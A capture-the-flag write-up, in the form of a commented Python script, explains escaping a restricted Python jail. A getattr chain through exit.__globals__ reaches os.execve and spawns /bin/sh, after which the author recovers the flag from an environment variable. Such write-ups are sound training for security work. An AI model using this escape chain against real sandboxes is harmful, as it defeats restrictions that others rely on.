Escaping a python jail.

Write up for insHACK hell_of_a_jail challenge.

   ###############################################################
  #  Challenge
 #  desc:          [ hell_of_a_jail - PWN 150 ]
#
#       A guy from FBI found about your Ruby programming activities
#       and has put you inside a python Jail ! Find your way out !
#
 ##################################################################
#:'
#  Profided is a ssh key, server address and port to connect to.
#       -p2222  user@hell-of-a-jail.ctf.insecurity-insa.fr
#
#  After loggin into te server i got a nice welcome message
#                     and a python shell.
#  But not just any shell a shell that would trim off all
#  input longer than 14 chacters, with only 3 functions to use and
#  remove all dots and double lower dashes and would spam your sceen
#  with a thousend times the phrase "TROLLED !!!!" if a double quote
#     occured in the input.
#   _________________________________________________________________
#  |To make matters evern worse the challenge was in python3.        |
#  |Who would spam my screen with messages like,                     |
#  |Missing parentheses in call to 'print'. Did you mean print("A")? |
# ,+----------------------------------------------------------------=+
 ###################################################################
#
#  To check what fucntions i wase allowed to use out of the box.
#  I ran this on my local machine copied the output to the server
#         +---------------------------------+
#         | >>> for x in dir(__builtins__): |
#         | ...     print('%s()'%x)         |
#         +---------------------------------+
#  Then I scrolled trough the error messages to check what fuctions
#  were still alive and avalible.
#  Turns out the only build-in functions I got to play with were:
#
#          print(),     exit()    getattr()
#
#  the last one I've had never used before but we became good friends
#                                          during this challenge.
######################################
#       [ CUTE NAMED FUNCIONS ]       #
#                                     #
G=getattr       # G (fun)  getattr    #  Because of de 15 chacter
P=print         # P (fun)  print      #  I decided to rename them
E=exit          # E (fun)  exit       #  to something shorter.
#                                     #  as I also had to do with
#######################################  most of the stings.
#              SOME USEFULL STRINGS   #
u='_'+'_'       # u (str)  __         #    While trying to explore the
c=u+'class'+u   # c (str)  __class__  #  possiabilities (or lack here of)
cc=u+'call'+u   #cc (str)  __call__   #  I realized soon enough that
cd=u+'code'+u   #cd (str)  __code__   #  the time out on the sever was
d=u+'dir'+u     # d (str)  __dir__    #   annoyingly short, it
dd=u+'doc'+u    #dd (str)  __doc__    #   also did't auto complete
b=u+'bases'+u   # b (str)  __bases__  #   on tab and was printing
s=u+'subclas'\  # s (str)  __subclasses__   esc codes instead of moving
 'ses'+u                              #   my cursur back.
ss='self'       #ss (str)  self       #   I quickly moved to worinking
h='/bin/sh'     #h  (str)  /bin/sh    #   in this script instead.
f='./flag.txt'  # f (str)  ./flag.txt #
ff=u+'file'+u   #ff (srt)  __file__   #   this would also allow me to
fg=u+'flags'+u  #fg (str)  __flags__  #   neatly organize my collection
o='open'        # o (str)  open       #     of usefull strings.
r='read'        # r (str)  read       #      'n other things.
e='execve'      # e (str)  execve     #   my initinal tought was to
m=u+'mro'+u     # m (str)  __mro__    #  create something simulair to:
n=u+'name'+u    # n (str)  __name__   #  ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
a='append'      # a (str)  append     #  wich I've seen and even used
g=u+'globals'\  # g (str)   __globals__  before. but i never fully
 ''+u                                 #  understood what was going on
l=u+'locals'+u  # l (str)  __locals__ #  after a lot of time READING
v='co_varnam'\  # v (str)  co_varnames#    python documentation.
 'es'                                 #  I realized the fucntions
en='environ'    #en (str)  environ    #  that i wanted to use were.
#------------------------------------ #  removed from __subclasses__
#  I spend a lot of time browsing around this python class space
#  reading writeups and documentation trying to figure out how to
#  defeat this beast. I READ about how to use getattr to access atribute
#  form objects, I READ even more about this strange object oriented
#  world named python and exlporing with __mro__ __subclasses__ and __dir__
#  But what I should have READ a little bit better was .
#  !!!!! THE welcome MESSAGE comming FROM the SERVER. !!!!!!!!
#  There was a big BIG big hint in there pointing towards the exit()
#  It was only when I was rearanging my terminal windows, and closing
#  the billion python documentation tabs in my browser. when I
#  accsendently opened the ssh connection and wanted to close it with
#  CTRL+D, but that din't work because quit() wasn't there so I typed
#  exit() and I got promted with a error telling me that exit() requires 1
#  argument... And then my eye caught the Welcome message.
#  +------------------------------------------------------+
#  [Oh my jail ! You need to exit() with the correct key. ]
#  [It might make you free (and give you the flag)        ]
#  +------------------------------------------------------+
#  After I saw this I know I was looking in the wrong places.
#  and I focused my attention to the object named quit.
#  Whom was holding a lot of goodies like __globals__
#  With a os object.
#
#  So I Quickly build a OBJchain.(Tm) and ran to the nearist exit.
#  (what for me was '/bin/sh' I had everything already prepaired
#  and ready to open a file or pop a shell.)
#
###########################################################
#             [VERY USEFULL THINGEMAGADGETS]
C=G(E,c)       # C (Obj)  exit.__class__
B=G(C,b)       # B (Obj)  exit.__class__.__bases__
D=G(C,d)       # D (Fun)  exit.__class__.__dir__
S=G(B[0],s)    # S (Obj)  exit.__class__.__bases__[0].__subclasses__
M=G(C,m)       # M (Obj)  exit.__class__.__mro__
X=G(E,g)       # X (Dic)  exit.__globals__
O=X['os']      # O (Obj)  exit.__globals__[os]
Y=G(O,en)      # Y (Dic)  exit.__globals__[os].environ
F=G(O,e)       # F (Obj)  exit.__globals__[os].execve
F(h,[h],Y)     #          exit.__globals__[os].execve('/bin/sh',['/bin/sh'],os.environ)
#
########################################################
#
#  So after popping the shell I was a bit confused about the
#  absence of the flag.txt I was craving for for all these hours.
#  The only thing besides me in the path I ended up in was jail.pyc
#  but I rememberd the welcome message said something about keys and exits.
#  so I check it for strings. hoping it would hold a flag.
#  wich it din't. So I wrapped it in some base64 and copied it to my local
#  machine to decompile.
#
#  +----------------------------------------------------------------------+
#  |def exit(arg):                                                        |
#  |    """Must invoke with the right arg in order to get the flag."""    |
#  |    if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:         |
#  |        print('Oh no ! You managed to escape\nValidate with the key') |
#  |       return sys.exit(0)                                             |
#  |   print('Wrong key')                                                 |
#  +----------------------------------------------------------------------+
#                                                                         #
#  So yeah.. . . The flag was hiding in environment variables
#  INSA{688a3188bcd888ad4540da2ac73c94ae9f55ded00ed1742c4388bb7c3285acd2} #
#   I had a lot of fun and learned a lot during this challenge.         #
 #    Shout out tO My team Mates.                                    #
  #                                  -xXx-    TNX FOR READING...  #
   #
     #####M42D##################'''''''''''''''''''''''''''''''